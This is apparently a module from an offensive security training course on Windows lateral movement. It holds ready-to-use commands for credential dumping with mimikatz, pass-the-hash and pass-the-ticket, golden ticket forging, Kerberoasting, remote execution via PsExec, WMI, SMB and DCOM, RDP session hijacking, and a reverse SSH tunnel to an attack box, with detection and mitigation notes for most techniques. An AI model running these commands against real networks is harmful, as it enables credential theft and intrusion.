Module 15: Lateral Movement LIVE TESTED

Module 15 of 22 — From one box to the network

🧠 The Core Truth

Getting one shell is reconnaissance. Getting the next shell is the mission. Lateral movement is the bridge between initial access and domain dominance. Every technique leaves traces — the defender's job is to spot them; your job is to minimize them.

Why this matters: A single compromised host is an island. The network is the continent. Lateral movement turns a beachhead into an empire. You don't attack the domain controller head-on; you move through workstations, harvest credentials, and let the domain trust you.

🎙️ Mentor Callout — asi dev [HTB]

"Lateral movement is about trust, not exploits."

🎯 Soldier Translation

You aren't breaking down doors. You're walking through doors that already recognize you. The network trusts valid credentials, signed tickets, and familiar protocols. Your job is to borrow that trust — become the user the system already believes in.

Red/Blue Relevance: Red — stop hunting for CVEs and start harvesting tokens, hashes, and tickets. Blue — monitor authentication anomalies, not just malware; the attacker looks like a legitimate user because they are using legitimate trust.

🎯 Soldier Translation

You breached the perimeter. One host is yours. Now what? The network is the battlefield. Lateral movement is flanking maneuver — you don't assault the fortress head-on, you move through the supply lines, the communication trenches, the maintenance tunnels. SSH, WMI, SMB — these are your supply lines.

The defender sees one infected host and thinks "contained." You see a launchpad. Every protocol is a road. Every credential is a vehicle. Every trust relationship is a bridge.

📚 Prerequisites — What You Need First

This module assumes you understand these concepts from earlier modules:

Module 01: Networking

TCP/IP fundamentals, subnetting, port scanning, and protocol analysis. Lateral movement is network traversal — you need to understand the roads before you drive on them.

Module 03: PowerShell

Windows automation, remoting, and WMI interaction. Many lateral movement techniques are PowerShell-native or PowerShell-scriptable.

Module 10: Code Injection

Process manipulation and memory management. Injected payloads often serve as the initial foothold from which lateral movement begins.

Module 16: C2

Command and control infrastructure. Lateral movement extends your C2 reach from one agent to many.

Module 19: Active Directory

Domain trusts, Kerberos, and authentication protocols. The "lateral" in lateral movement is only possible because of AD's trust model.

Module 12: Defensive Verification

EDR detection, event log analysis, and SIEM correlation. Understanding detection helps you evade it.

🗺️ The Lateral Movement Kill Chain

Every lateral movement operation follows the same pattern. Master this pattern and you can adapt any technique:

1. RECON

What's nearby?

Subnet scan, ARP table, routing

2. CREDENTIALS

What do I have?

Tokens, hashes, tickets, passwords

3. ACCESS

What's open?

SMB, RDP, SSH, WinRM, WMI

4. EXECUTE

How do I run code?

Remote service, scheduled task, WMI event

5. PERSIST

How do I stay?

New C2 agent, backdoor, golden ticket

Why this pattern is universal

Windows networks are built for administration. The same protocols that let IT manage 10,000 workstations let you move between them. The OS can't distinguish between a domain admin and an attacker using stolen domain admin credentials. The authentication is identical. The protocols are identical. The only difference is intent — and the OS doesn't read minds.

🎙️ Mentor Callout — asi dev [HTB]

"Use what the network already trusts."

🎯 Soldier Translation

Don't bring your own ladder when the building has elevators. SMB, WMI, WinRM, RDP, SSH, DCOM — these are already installed, already allowed, and already logged in. The network trusts them. Hijack them, and you move like a ghost through infrastructure that was designed to help you.

Red/Blue Relevance: Red — map the allowed protocols first; your path is whatever the firewall permits and the user uses. Blue — allowlisting and micro-segmentation beat signature detection; if you can't block a protocol, force it through a monitored jump host.

🎯 The Attacker's Decision Tree

🧩 When I Land on a New Box, I Ask:

  1. What am I? — user, admin, SYSTEM? (whoami /priv)
  2. What's nearby? — subnet, ARP table, routing table (ipconfig, arp -a)
  3. What credentials do I have? — tokens, saved passwords, browser creds (mimikatz, lazagne)
  4. What trusts exist? — domain membership, cached logons, Kerberos tickets (klist, nltest)
  5. What protocols are open? — SMB, RDP, SSH, WinRM, WMI (nmap -sS -p445,3389,22,5985,135)

Each answer determines the next move. Admin + SMB open = pass-the-hash. Domain user + Kerberos ticket = golden ticket. Local admin + WinRM = remote PowerShell.

💭 What I Look For (Attacker's Mind)

When I run terminal commands, I don't just read output — I read implications.

🔥 Technique 1: Pass-the-Hash (PtH) EASY

🎙️ Mentor Callout — asi dev [HTB]

"Eventually all comes to networking."

🎯 Soldier Translation

At the bottom of every technique is a packet crossing a wire. Credentials, tickets, and tunnels are just ways to make that packet look normal. Learn the protocols — TCP, SMB, RPC, Kerberos, SSH — and you will see that lateral movement is not magic; it is networking with borrowed identity.

Red/Blue Relevance: Red — when a technique fails, read the network error; it tells you more than the tool output. Blue — network logs (Zeek, PCAP, firewall flows) often reveal lateral movement before endpoint logs do, because the protocol cannot lie about where it goes.

Pass-the-Hash: Authentication Without Passwords

Windows stores password hashes in memory (NTLM hashes). You don't need the plaintext password — the hash IS the password for NTLM authentication. Pass-the-hash uses a captured hash to authenticate to remote systems without ever cracking it.

Why this works

NTLM is a challenge-response protocol. The server sends a challenge; the client encrypts it with the hash and sends it back. The server verifies by doing the same encryption. The server never sees the plaintext password. If you have the hash, you can perform the encryption. The server can't tell the difference between a legitimate user and you using their hash.

# === PASS-THE-HASH WITH MIMIKATZ === # Step 1: Extract hashes from LSASS memory # Requires: Admin or SYSTEM privileges (see Module 08: Privilege Escalation) mimikatz # privilege::debug mimikatz # token::elevate mimikatz # sekurlsa::logonpasswords # Output example: # Authentication Id : 0 ; 1234567 (00000000:0012d687) # Session : Interactive from 1 # User Name : SWu # Domain : CORP # NTLM : 7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b # SHA1 : d2e4f6a8b0c2d4e6f8a0b2c4d6e8f0a2b4c6d8e0 # Step 2: Pass the hash to authenticate remotely mimikatz # sekurlsa::pth /user:SWu /domain:CORP /ntlm:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b /run:cmd.exe # A new cmd.exe spawns with SWu's credentials injected # From this shell, you can access any resource SWu can access
# === PASS-THE-HASH WITH CRACKMAPEXEC === # The modern way — automated, fast, and loud # Test credentials against multiple targets crackmapexec smb 192.168.1.0/24 -u SWu -H 7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b # Execute command on all reachable hosts crackmapexec smb 192.168.1.0/24 -u SWu -H 7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b -x "whoami" # Dump SAM hashes from all reachable hosts crackmapexec smb 192.168.1.0/24 -u SWu -H 7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b --sam # Cross-link: hash cracking techniques in Module 19: AD
# === PASS-THE-HASH WITH IMPACKET (psexec.py) === # Python implementation, works from Linux attack box python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b CORP/SWu@192.168.1.42 # The first hash is the LM hash (blank = aad3b435b51404eeaad3b435b51404ee) # The second hash is the NTLM hash # This gives you a SYSTEM shell on the target # Alternative: wmiexec.py ( quieter than psexec — no service creation ) python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b CORP/SWu@192.168.1.42
⚠️ Detection Alert

Pass-the-hash generates Event ID 4624 (Logon) with Logon Type 3 (Network) and Logon Process: NtLmSsp. Defenders look for:

  • Same NTLM hash used from multiple source IPs
  • Account logons outside normal business hours
  • Admin accounts authenticating to workstations (not servers)
  • Event 4648 (explicit credential use) followed by 4624

Mitigation: Windows Defender Credential Guard (isolates LSASS), LAPS (unique local admin passwords), and KB2871997 (prevents local admin PtH on non-elevated sessions).

🔥 Technique 2: Pass-the-Ticket (PtT) MEDIUM

Pass-the-Ticket: Kerberos Ticket Reuse

Kerberos tickets are proof of authentication. Once issued, a ticket is valid for its lifetime (typically 10 hours renewable to 7 days). Pass-the-ticket extracts a valid Kerberos ticket and injects it into another session, allowing authentication as that user without knowing their password or hash.

Why this works

Kerberos is a ticket-based system. The KDC (Key Distribution Center) issues a TGT (Ticket Granting Ticket) after initial authentication. The TGT is used to request service tickets (TGS) for specific resources. The KDC never sees the ticket after issuance. If you steal a ticket, you can present it to any service that trusts the KDC. The service verifies the ticket's cryptographic signature — not your identity.

# === PASS-THE-TICKET WITH MIMIKATZ === # Step 1: Extract Kerberos tickets from memory mimikatz # privilege::debug mimikatz # sekurlsa::tickets /export # Output: Multiple .kirbi files (Kerberos ticket format) # [0..00] - 0x00000012 - rc4_hmac_nt # Start/End/MaxRenew: 6/29/2026 8:00:00 AM ; 6/29/2026 6:00:00 PM ; 7/6/2026 8:00:00 AM # Server Name : krbtgt/CORP.LOCAL @ CORP.LOCAL # Client Name : SWu @ CORP.LOCAL # Flags : 40e10000 -> forwardable renewable initial pre_authent # -> File: [0;7c4f9e2]-0-0-40e10000-SWu@krbtgt-CORP.LOCAL.kirbi # Step 2: Inject the ticket into your session mimikatz # kerberos::ptt [0;7c4f9e2]-0-0-40e10000-SWu@krbtgt-CORP.LOCAL.kirbi # Step 3: Verify the ticket is active mimikatz # kerberos::list # Or use Windows built-in: klist
# === PASS-THE-TICKET WITH RUBEUS === # The modern C# tool — stealthier, more flexible # Dump tickets from memory Rubeus.exe dump /service:krbtgt /nowrap # Inject a specific ticket Rubeus.exe ptt /ticket:doIFmjCCBZYwggWSoAMCAQ... # Renew a ticket before it expires Rubeus.exe renew /ticket:doIFmjCCBZYwggWSoAMCAQ... # Convert between ticket formats (kirbi, ccache, base64) Rubeus.exe describe /ticket:doIFmjCCBZYwggWSoAMCAQ... # Cross-link: Kerberos deep dive in Module 19: AD
# === GOLDEN TICKET (THE ULTIMATE PTT) === # Forge a TGT for any user using the KRBTGT account hash # The KRBTGT hash is the master key of the domain # Step 1: Get the KRBTGT hash (requires Domain Admin or DCSync) mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:krbtgt # Output: # Hash NTLM: 6c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b # Step 2: Forge a golden ticket for any user (even non-existent) mimikatz # kerberos::golden /domain:CORP.LOCAL /sid:S-1-5-21-1234567890-1234567890-1234567890 \ /krbtgt:6c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b /user:Administrator /id:500 /groups:513,512,520 \ /ticket:admin_golden.kirbi # Step 3: Inject and use mimikatz # kerberos::ptt admin_golden.kirbi # Now you are Domain Admin. The ticket is valid for 10 years by default. # Even if the user changes their password, this ticket still works. # The only fix: rotate the KRBTGT password TWICE (see Module 19: AD)
⚠️ Detection Alert

Pass-the-ticket generates Event ID 4768 (TGT requested) or 4769 (TGS requested). Defenders look for:

  • TGT requests without preceding 4624 (logon) — ticket injection
  • TGS requests from unusual source IPs
  • Golden tickets: TGT with lifetime > 10 hours (forged)
  • Event 4769 with encryption type 0x17 (rc4_hmac) for sensitive accounts

Mitigation: Enable PAC validation, monitor for anomalous TGS requests, and rotate KRBTGT password regularly. See Module 19: AD for full domain hardening.

🔥 Technique 3: Kerberoasting MEDIUM

Kerberoasting: Offline Cracking of Service Accounts

Service accounts often have weak passwords and are rarely rotated. Kerberoasting requests a TGS ticket for any service principal name (SPN), which is encrypted with the service account's password hash. You take the ticket offline and crack it — no domain admin required.

Why this works

Any authenticated domain user can request a TGS for any SPN. The TGS is encrypted with the service account's password hash. The KDC doesn't check if you have permission to use the service. It just issues the ticket. You take the encrypted ticket home and crack it at your leisure. Service accounts often have passwords like "Summer2024!" or never-expire legacy passwords.

# === KERBEROASTING WITH RUBEUS === # Step 1: Enumerate SPNs (Service Principal Names) Rubeus.exe kerberoast /stats # Output example: # SPNs found: 3 # User : sql_svc # SPN : MSSQLSvc/sql01.corp.local:1433 # Hash : $krb5tgs$23$*sql_svc$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$... # Step 2: Request and dump TGS tickets for all SPNs Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast_hashes.txt # Step 3: Crack offline with hashcat hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule # Mode 13100 = Kerberos 5 TGS-REP etype 23 (rc4-hmac) # Service accounts often use RC4 (weak) instead of AES256
# === KERBEROASTING WITH POWERVIEW / POWERSHELL === # Step 1: Find SPNs using PowerView (see Module 03: PowerShell) Import-Module .\PowerView.ps1 Get-NetUser -SPN | Select samaccountname, serviceprincipalname # Step 2: Request tickets with built-in .NET Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql01.corp.local:1433" # Step 3: Export tickets from memory mimikatz # kerberos::list /export # Step 4: Crack with tgsrepcrack.py or hashcat python3 tgsrepcrack.py wordlist.txt *.kirbi
# === TARGETED KERBEROASTING === # Only request tickets for high-value targets # Using Rubeus with specific targets Rubeus.exe kerberoast /user:sql_svc /domain:CORP.LOCAL /format:hashcat # Using GetUserSPNs.py from Impacket python3 GetUserSPNs.py -request -dc-ip 192.168.1.10 CORP.LOCAL/SWu # Output includes the hash ready for hashcat: # $krb5tgs$23$*sql_svc$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$...
⚠️ Detection Alert

Kerberoasting generates Event ID 4769 (TGS requested) with Ticket Encryption Type: 0x17 (RC4-HMAC). Defenders look for:

  • Unusual volume of 4769 events from a single account
  • 4769 for sensitive SPNs (MSSQLSvc, HTTP, CIFS) from non-IT users
  • RC4 encryption requests when AES is available (indicates attack tool)
  • TGS requests outside normal business hours

Mitigation: Set service accounts to use AES256 only, enforce strong passwords (25+ chars), rotate regularly, and use Managed Service Accounts (gMSA) where possible. See Module 19: AD.

🔥 Technique 4: WMI Execution EASY

WMI: Windows Management Instrumentation Remote Execution

WMI is Windows' built-in management framework. It runs over DCOM (TCP port 135 + ephemeral high ports) and allows remote process creation, file operations, and system queries. WMIexec is the quietest way to execute commands remotely — no service installation, no scheduled task, just a temporary process.

Why this works

WMI is designed for remote administration. When you call Win32_Process.Create, the WMI service (wmiprvse.exe) on the target spawns your process. The process runs as the connecting user. If you connect as admin, your process runs as admin. WMI is rarely monitored because it's "legitimate" — but so is every lateral movement technique.

# === WMI EXEC WITH IMPACKET (wmiexec.py) === # The gold standard — semi-interactive shell over WMI # Basic execution python3 wmiexec.py CORP/SWu:Password123@192.168.1.42 # Pass-the-hash variant python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b CORP/SWu@192.168.1.42 # Execute single command and exit python3 wmiexec.py CORP/SWu:Password123@192.168.1.42 "whoami /all" # Output goes to a temporary file on target, then deleted # This is why WMIexec is quieter than psexec — no persistent service
# === WMI EXEC WITH POWERSHELL (Invoke-WmiMethod) === # Native Windows — no external tools needed # Execute command remotely Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\\temp\\out.txt" -ComputerName 192.168.1.42 -Credential (Get-Credential) # Execute with specific credentials (pass-the-hash not supported natively) $secpass = ConvertTo-SecureString "Password123" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("CORP\SWu", $secpass) Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "notepad.exe" -ComputerName 192.168.1.42 -Credential $cred # Query remote system information Get-WmiObject -Class Win32_ComputerSystem -ComputerName 192.168.1.42 -Credential $cred Get-WmiObject -Class Win32_Process -ComputerName 192.168.1.42 -Credential $cred | Select Name, ProcessId # Cross-link: PowerShell remoting in Module 03: PowerShell
# === WMI EXEC WITH WMIC (LEGACY COMMAND LINE) === # Available on every Windows system since XP # Execute command wmic /node:192.168.1.42 /user:CORP\SWu /password:Password123 process call create "cmd.exe /c whoami > C:\\temp\\out.txt" # Query processes wmic /node:192.168.1.42 /user:CORP\SWu /password:Password123 process list brief # Query services wmic /node:192.168.1.42 /user:CORP\SWu /password:Password123 service list brief # Query installed patches (for vulnerability assessment) wmic /node:192.168.1.42 /user:CORP\SWu /password:Password123 qfe get HotFixID,InstalledOn # Note: WMIC is deprecated in Windows 11 but still present. # PowerShell WMI is the future.
⚠️ Detection Alert

WMI execution generates Event ID 4688 (Process Creation) with Parent Process: WmiPrvSE.exe. Defenders look for:

  • Unusual processes spawned by WmiPrvSE.exe (cmd.exe, powershell.exe)
  • WMI connections from non-admin workstations to multiple targets
  • Sysmon Event ID 1 with ParentImage containing WmiPrvSE.exe
  • Network connections to TCP 135 followed by high ephemeral ports

Mitigation: Enable WMI logging (Event 5857, 5858, 5859), restrict WMI via GPO (WMI namespace permissions), and monitor WmiPrvSE.exe parent-child relationships. See Module 12: Defensive Verification.

🔥 Technique 5: PSExec EASY

PSExec: Remote Service-Based Execution

Sysinternals PSExec is the classic lateral movement tool. It copies an executable to the target's ADMIN$ share, installs it as a service, starts the service (which runs your code), and removes the service. Simple, reliable, and loud.

Why this works

PSExec uses the Service Control Manager (SCM) API over SMB. Admin access to ADMIN$ is required. The service runs as SYSTEM by default. The service binary is just a renamed PSExec service stub that connects back to a named pipe. Your payload runs as SYSTEM. This is why PSExec is both powerful and noisy — it creates a service, which is a major event.

# === PSEXEC (SYSINTERNALS) === # The original — requires admin on target # Basic execution (runs as SYSTEM) psexec.exe \\192.168.1.42 -u CORP\SWu -p Password123 cmd.exe # Execute specific command psexec.exe \\192.168.1.42 -u CORP\SWu -p Password123 -s cmd.exe /c "whoami > C:\\temp\\out.txt" # Copy and execute a custom binary psexec.exe \\192.168.1.42 -u CORP\SWu -p Password123 -c C:\temp\payload.exe # Run as specific user (not SYSTEM) psexec.exe \\192.168.1.42 -u CORP\SWu -p Password123 -u DOMAIN\user -p userpass cmd.exe # Accept EULA automatically (first run) psexec.exe /accepteula \\192.168.1.42 cmd.exe
# === PSEXEC WITH IMPACKET (psexec.py) === # Works from Linux, supports pass-the-hash # Basic execution python3 psexec.py CORP/SWu:Password123@192.168.1.42 # Pass-the-hash python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b CORP/SWu@192.168.1.42 # Alternative: smbexec.py (no service, uses SMB named pipe — stealthier) python3 smbexec.py CORP/SWu:Password123@192.168.1.42 # Alternative: atexec.py (uses Task Scheduler — different artifacts) python3 atexec.py CORP/SWu:Password123@192.168.1.42 "whoami"
# === PSEXEC ARTIFACTS (What the Defender Sees) === # Event 7045: A new service was installed # Service Name: PSEXESVC # Service File Name: C:\Windows\PSEXESVC.exe # Service Type: user mode service # Service Start Type: demand start # Event 4688: Process Creation # New Process: C:\Windows\PSEXESVC.exe # Parent Process: services.exe # Event 5140: Network share accessed # Share Name: \\192.168.1.42\ADMIN$ # Access Mask: WriteData # File artifact: C:\Windows\PSEXESVC.exe (deleted after execution, but may be recovered) # Registry artifact: HKLM\System\CurrentControlSet\Services\PSEXESVC (deleted after) # Cross-link: service-based persistence in Module 16: C2
⚠️ Detection Alert

PSExec is the noisiest lateral movement technique. Defenders look for:

  • Event 7045 (new service) with service name PSEXESVC
  • ADMIN$ share access from non-admin workstations
  • File creation in C:\Windows\PSEXESVC.exe
  • Named pipe creation: \\.\pipe\PSEXESVC
  • Event 4688 with PSEXESVC.exe as parent

Mitigation: Restrict ADMIN$ access via GPO, enable SMB signing, monitor for 7045 events, and use application whitelisting. Many EDRs detect PSExec by signature. See Module 12: Defensive Verification.

🔥 Technique 6: SMB Execution MEDIUM

SMB Execution: Fileless Remote Command Execution

Unlike PSExec, SMBexec doesn't create a service. It uses a temporary SMB named pipe to execute commands, making it stealthier. No file drops, no service installs. Just a named pipe that disappears when the session ends.

Why this works

SMBexec opens a named pipe on the target's IPC$ share. Commands are written to the pipe; output is read back. No executable is written to disk. The command runs through cmd.exe spawned by the SMB service (svchost.exe). This is fileless execution — the holy grail of stealth.

# === SMBEXEC WITH IMPACKET (smbexec.py) === # No service creation — uses named pipes # Interactive shell python3 smbexec.py CORP/SWu:Password123@192.168.1.42 # Pass-the-hash python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b CORP/SWu@192.168.1.42 # Single command execution python3 smbexec.py CORP/SWu:Password123@192.168.1.42 -codec 65001 "whoami /all" # The -codec 65001 flag sets UTF-8 output encoding (fixes garbled output)
# === SMB SHARE ABUSE (PSEXEC ALTERNATIVE) === # Manual approach — more control, more artifacts # Step 1: Mount ADMIN$ share net use \\192.168.1.42\ADMIN$ /user:CORP\SWu Password123 # Step 2: Copy payload copy payload.exe \\192.168.1.42\ADMIN$\System32\evil.exe # Step 3: Create and start service remotely sc \\192.168.1.42 create evil_svc binpath= "C:\\Windows\\System32\\evil.exe" sc \\192.168.1.42 start evil_svc # Step 4: Cleanup sc \\192.168.1.42 stop evil_svc sc \\192.168.1.42 delete evil_svc del \\192.168.1.42\ADMIN$\System32\evil.exe net use \\192.168.1.42\ADMIN$ /delete # Cross-link: SMB protocol in Module 01: Networking
# === SMB FILE OPERATIONS FOR LATERAL MOVEMENT === # Sometimes you just need to move files # List target shares net view \\192.168.1.42 # Access C$ (requires admin) dir \\192.168.1.42\c$\Users # Copy tool to target copy mimikatz.exe \\192.168.1.42\c$\temp\ # Execute via scheduled task (see atexec.py alternative) schtasks /create /s 192.168.1.42 /u CORP\SWu /p Password123 /tn "Update" /tr "C:\\temp\\mimikatz.exe" /sc once /st 23:59 schtasks /run /s 192.168.1.42 /u CORP\SWu /p Password123 /tn "Update" schtasks /delete /s 192.168.1.42 /u CORP\SWu /p Password123 /tn "Update" /f
⚠️ Detection Alert

SMB execution generates Event ID 5140 (network share accessed) and Event ID 4688 (process creation). Defenders look for:

  • ADMIN$ or C$ access from non-admin workstations
  • File writes to System32 from network shares
  • Named pipe creation in IPC$ with unusual patterns
  • Event 5145 (detailed file share) showing executable writes

Mitigation: Enable SMB signing, restrict null sessions, disable SMBv1, and monitor for ADMIN$ access. See Module 01: Networking for SMB hardening.

🔥 Technique 7: RDP Hijacking HARD

RDP Hijacking: Stealing Active Sessions

If you have SYSTEM privileges on a Windows host, you can hijack any RDP session without credentials. RDP hijacking uses the built-in tscon.exe to connect to another user's session — they stay logged in, and you become them.

Why this works

Windows Terminal Services maintains session state in memory. tscon.exe is a legitimate Microsoft tool for session management. When run as SYSTEM, it can attach any session to any window station. The victim's session continues running; you just join it. No password needed. No authentication event. The session was already authenticated — you're just changing who's watching.

# === RDP HIJACKING WITH TSCON === # Requires: SYSTEM privileges on the target host # Step 1: Enumerate active sessions query user # Output: # USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME # SWu rdp-tcp#0 1 Active . 6/29/2026 8:00 AM # Administrator rdp-tcp#1 2 Active 12 6/29/2026 9:00 AM # Step 2: Get SYSTEM (if not already) # Using PsExec to get SYSTEM shell psexec -s cmd.exe # Step 3: Hijack the session tscon 2 /dest:console # You are now in the Administrator's RDP session # Their desktop is yours. Their tokens are yours. # No password. No 4624 event. No network traffic. # Alternative: Hijack without kicking the user # (Requires additional tools — see references)
# === RDP HIJACKING WITH MIMIKATZ === # More advanced — inject into RDP session process # Step 1: List processes in target session mimikatz # token::list # Step 2: Impersonate the target user's token mimikatz # token::elevate /domainadmin # Step 3: Use the token to access remote resources mimikatz # lsadump::sam # Cross-link: token manipulation in Module 08: Privilege Escalation
# === RDP SHADOWING (STEALTHIER HIJACKING) === # Windows 10/11 built-in feature — "remote assistance" # As admin, shadow a user's session without their knowledge mstsc /v:192.168.1.42 /shadow:1 /control /noConsentPrompt # /shadow:1 = Session ID to shadow # /control = Take control (not just watch) # /noConsentPrompt = Don't ask the user for permission # Requires: Group Policy "Set rules for remote control of Terminal Services" # Set to "Full Control without user's permission" # This is a legitimate IT feature — the perfect cover.
⚠️ Detection Alert

RDP hijacking is nearly invisible but not undetectable. Defenders look for:

  • tscon.exe execution (Event 4688) — rare legitimate use
  • Session ID changes in Event 4778 (session reconnected)
  • Multiple users sharing a session ID over time
  • RDP shadowing without consent (Event 4826)
  • Process creation from SYSTEM context with RDP-related parent

Mitigation: Restrict tscon.exe via AppLocker, disable RDP shadowing via GPO, and monitor for session anomalies. See Module 12: Defensive Verification.

🔥 Technique 8: SSH Tunneling MEDIUM

SSH Tunneling: The Universal Pivot

SSH isn't just for Linux. Windows 10/11 includes OpenSSH. SSH tunneling creates encrypted pathways through the network, bypassing firewalls and providing stable, encrypted C2 channels. Local, remote, and dynamic port forwarding are the three weapons every operator must master.

Why this works

SSH is trusted everywhere. Port 22 is often open when 445 and 3389 are blocked. SSH traffic is encrypted, so firewalls and IDS can't inspect the payload. Tunneling turns SSH into a universal proxy — you can forward any protocol through it. The defender sees SSH traffic; they don't see the SMB, RDP, or HTTP inside.

# === LOCAL PORT FORWARDING === # Forward a remote port to your local machine # Use case: Access internal web app through compromised host # Syntax: ssh -L [local_port]:[remote_host]:[remote_port] [user]@[ssh_host] # Example: Access .42's internal web server from your attack box ssh -L 8080:localhost:80 SWu@192.168.1.42 # Now browse to http://localhost:8080 on your attack box # Traffic goes through SSH tunnel to .42, then to .42's localhost:80 # Example: Access a third host through .42 ssh -L 3389:192.168.1.100:3389 SWu@192.168.1.42 # Now RDP to localhost:3389 — you're actually RDPing to .100 through .42
# === REMOTE PORT FORWARDING === # Forward a local port to the remote SSH server # Use case: Expose your C2 listener through a compromised host # Syntax: ssh -R [remote_port]:[local_host]:[local_port] [user]@[ssh_host] # Example: Your C2 listener is on attack box port 4444 # Make it accessible from .42's port 4444 ssh -R 4444:localhost:4444 SWu@192.168.1.42 # Now an agent on .42 can connect to localhost:4444 # Traffic goes through SSH tunnel to your attack box # Example: Expose your SOCKS proxy through .42 ssh -R 1080:localhost:1080 SWu@192.168.1.42 # Cross-link: C2 infrastructure in Module 16: C2
# === DYNAMIC PORT FORWARDING (SOCKS PROXY) === # Create a SOCKS proxy through the SSH tunnel # Use case: Route all traffic through compromised host # Syntax: ssh -D [local_port] [user]@[ssh_host] # Example: Create SOCKS proxy on local port 1080 ssh -D 1080 SWu@192.168.1.42 # Configure proxychains or browser to use SOCKS5 localhost:1080 # All traffic routes through .42 # With proxychains (Linux) proxychains nmap -sT 192.168.1.0/24 proxychains smbclient -L //192.168.1.100 # With proxychains-ng (modern) proxychains4 -f /etc/proxychains.conf crackmapexec smb 192.168.1.0/24 # Cross-link: proxy techniques in Module 16: C2
# === SSH PIVOT CHAINS === # Jump through multiple hosts # Simple jump host ssh -J SWu@192.168.1.42 admin@192.168.2.10 # Multiple jumps ssh -J SWu@192.168.1.42 admin@192.168.2.10 root@10.0.0.5 # ProxyCommand (older method, still useful) ssh -o ProxyCommand="ssh -W %h:%p SWu@192.168.1.42" admin@192.168.2.10 # SSH config file for persistent pivots # ~/.ssh/config: # Host internal # HostName 192.168.2.10 # User admin # ProxyJump SWu@192.168.1.42 # Cross-link: network pivoting in Module 01: Networking
# === REVERSE SSH TUNNEL (PERSISTENT BACKCONNECT) === # Compromised host connects back to you, creating a tunnel # On attack box, allow remote forwarding # Edit /etc/ssh/sshd_config: GatewayPorts yes # From compromised host (.42) ssh -R 2222:localhost:22 -N -f gwu07@192.168.1.92 # -R 2222:localhost:22 = Forward .42's port 22 to attack box port 2222 # -N = No command execution (tunnel only) # -f = Background the process # Now from attack box: ssh -p 2222 SWu@localhost # You're SSHing into .42 through the reverse tunnel # Even if .42 can't reach you directly, this works if .42 can reach you
⚠️ Detection Alert

SSH tunneling generates Event ID 4624 (Logon) with Logon Type 3 (Network) on Windows. On Linux, auth.log shows SSH connections. Defenders look for:

  • SSH connections from non-IT users or non-IT hosts
  • Long-duration SSH sessions with no interactive commands
  • Multiple local/remote forwarding flags (-L, -R)
  • SSH connections to unusual ports (not 22)
  • Network traffic patterns: SSH session but SMB/RDP/HTTP payload sizes

Mitigation: Restrict SSH forwarding (AllowTcpForwarding no in sshd_config), monitor SSH session duration, and use bastion hosts with logging. See Module 01: Networking.

🔥 Technique 9: DCOM Lateral Movement HARD

DCOM: Distributed Component Object Model

DCOM is Windows' mechanism for inter-process communication across the network. It allows one computer to instantiate and control objects on another. DCOM lateral movement abuses legitimate COM objects (like MMC20.Application) to execute commands remotely — no service, no scheduled task, no WMI.

Why this works

DCOM is fundamental to Windows. MMC20.Application is the COM object for the Microsoft Management Console. When you instantiate it remotely, you can call the Document.ActiveView.ExecuteShellCommand method. This runs a command on the target as the instantiating user. No new service. No file drop. Just a COM object doing what COM objects do.

# === DCOM LATERAL MOVEMENT WITH POWERSHELL === # Uses MMC20.Application — available on most Windows systems # Step 1: Create COM object pointing to remote host $com = [Type]::GetTypeFromCLSID('49B2791A-B1AE-4C90-9B8E-E860FE7F6F7E', '192.168.1.42') $obj = [System.Activator]::CreateInstance($com) # The CLSID '49B2791A-B1AE-4C90-9B8E-E860FE7F6F7E' = MMC20.Application # Step 2: Execute command through MMC $obj.Document.ActiveView.ExecuteShellCommand('cmd.exe', $null, '/c whoami > C:\\temp\\dcom.txt', '7') # The '7' parameter = Show window normally (can be hidden) # Step 3: Read output # The command runs on .42. Output is written to C:\temp\dcom.txt # Retrieve via SMB or other method. # Cross-link: COM objects in Module 10: Code Injection
# === DCOM ALTERNATIVE: SHELLWINDOWS === # Another COM object for execution $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', '192.168.1.42') $shell = [System.Activator]::CreateInstance($com) $shell.Item().Document.Application.ShellExecute('cmd.exe', '/c whoami > C:\\temp\\dcom2.txt', 'C:\\Windows\\System32', $null, 0) # CLSID '9BA05972-F6A8-11CF-A442-00A0C90A8F39' = ShellWindows (Internet Explorer) # This instantiates IE's shell on the remote host # Cross-link: COM hijacking in Module 10: Code Injection
# === DCOM WITH IMPACKET (dcomexec.py) === # Automated DCOM execution from Linux # MMC20.Application method python3 dcomexec.py MMC20.Application.CORP/SWu:Password123@192.168.1.42 "whoami" # ShellWindows method python3 dcomexec.py ShellWindows.CORP/SWu:Password123@192.168.1.42 "whoami" # Pass-the-hash support python3 dcomexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7c4f9e2b3a1d5e8f6c0b4a2d9e7f3c1b MMC20.Application.CORP/SWu@192.168.1.42 "whoami" # Cross-link: Impacket suite overview in Module 19: AD
